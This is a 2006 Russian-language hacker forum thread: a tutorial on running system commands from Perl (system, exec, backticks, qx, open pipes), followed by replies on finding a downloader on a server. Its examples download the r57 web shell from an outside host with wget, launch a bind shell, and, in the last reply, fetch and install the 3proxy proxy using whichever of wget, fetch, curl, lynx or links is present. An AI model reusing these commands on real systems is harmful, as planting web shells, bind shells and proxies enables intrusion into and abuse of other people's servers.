Авторские статьи Выполнение системных комманд под перлом

Discussion in 'Статьи' started by DetMyl, 6 Apr 2006.

  1. DetMyl

    DetMyl Люминевый самолет

    Joined:
    17 Dec 2005
    Messages:
    109
    Likes Received:
    75
    Reputations:
    70
    Выполнение системных комманд под перлом

    1: Просто выполняем комманду но не получаем вывода:
    system("wget –O shell.php rst.void.ru/download/r57shell.txt ");

    2: Передаем выполнение другой программе,
    в этом случае исполнение текущей прерывается:
    exec("./bindshell");

    3: Выполняем комманду и сохраняем вывод в переменной:
    Строка заключенная вот в такие кавычки ``( backticks) или
    в qx#string#(##это просто разделители, их можно выбирать самому)
    сначала интерпретируется (т.е. рассматривается значение переменных в этой строке ),
    а потом передается системному интерпретатору на выполнение.
    Здесь 2 варианта:
    а) если мы получим только одну строку
    chomp($date = qx#/usr/bin/date#); или
    chomp($date = `/usr/bin/date`);
    б) если мы планируем получить многострочный вывод:
    chomp(@alllines = qx#/usr/bin/who#); или
    chomp(@alllines = `/usr/bin/who`);

    chomp() служит для удаления переноса строки - \n.



    4: open() и „Пайпинг“
    Чтобы выполнить внешную комманду есть возможность использовать комманду open:
    Перл открывает пайп вместо файла, если во втором параметре первый или последний
    символ это |.
    Обычно в инклудах пишут пайп последним, перед ним комманду,вывод которой
    запишется в INFILE, т.е. используется нормальный способ работы в никсах
    пример: "echo juh|" выдаст нам juh :)

    Вот небольшой пример всех способов:
    ---------------------------------------
    PHP:
    #!/cygdrive/c/Perl/bin/perl -w
    use strict;
    my @lines;

    chomp(my $date qx#date#); 
    print $date;

    system("wget -O shell.php rst.void.ru/download/r57shell.txt "); 
    open (DET,"|echo 'juh' >> shell.php");
    open (DET,"cat shell.php |");
    @
    lines = <DET>;
    foreach 
    my $line (@lines) { 
        print 
    $line
    }
    close(DET);
     
    exec("echo 'ZHu-Zhu'");
    echo (
    "No No, suda ne popadajem");
    ------------------------------------------------
    При написании пользовался
    http://builder.com.com/5100-6372-1050920.html (!точно по теме!)
    http://www.well.ox.ac.uk/~johnb/comp/perl/intro.html
    http://www.unix.org.ua/perl/op.htm
     
    3 people like this.
  2. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    так-так неплохо...помоги а))
    Нужно вот что
    Сначала system("which wget fetch lynx curl") надо узнать какой из них есть в системе а потом как сделать чтоб скрипт принял ответ сервака и пользовался той качалкой какая есть в системе?
     
  3. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    монстр, могу на php такое тебе дать, я уже делал подобное, можешь такой код стырить с моего переделанного шелла, там как раз это определяеться
     
  4. DetMyl

    DetMyl Люминевый самолет

    Joined:
    17 Dec 2005
    Messages:
    109
    Likes Received:
    75
    Reputations:
    70
    Я скрипт написал для установки 3proxy, оттуда:

    PHP:
    my $downloader checkDownloader();
    if (
    $downloader=="wget") {$cmd="wget -O $proxyPath $proxyWebAddr";}
    if (
    $downloader=="get") {$cmd="get -o $proxyPath $proxyWebAddr";}
    if (
    $downloader=="fetch") {$cmd="fetch -o $proxyPath $proxyWebAddr";}
    if (
    $downloader=="curl") {$cmd="curl --output $proxyPath $proxyWebAddr";}
    if (
    $downloader=="links") {$cmd="links -source $proxyWebAddr > $proxyPath";}
    if (
    $downloader=="lynx") {$cmd="lynx -source $proxyWebAddr > $proxyPath";}

    `
    $cmd`;

    sub checkDownloader() {
        
    my @downloaders = ("wget","get","fetch","curl","links","lynx");
        foreach 
    my $testCmd (@downloaders) {
          if (`
    which $testCmd`) {return $testCmd;}
          }
         die(
    "No downloader found");
    }
    здесь $proxyPath - куда лить, а $proxyWebAddr - откуда...
     
    #4 DetMyl, 11 Apr 2006
    Last edited: 12 Apr 2006
    1 person likes this.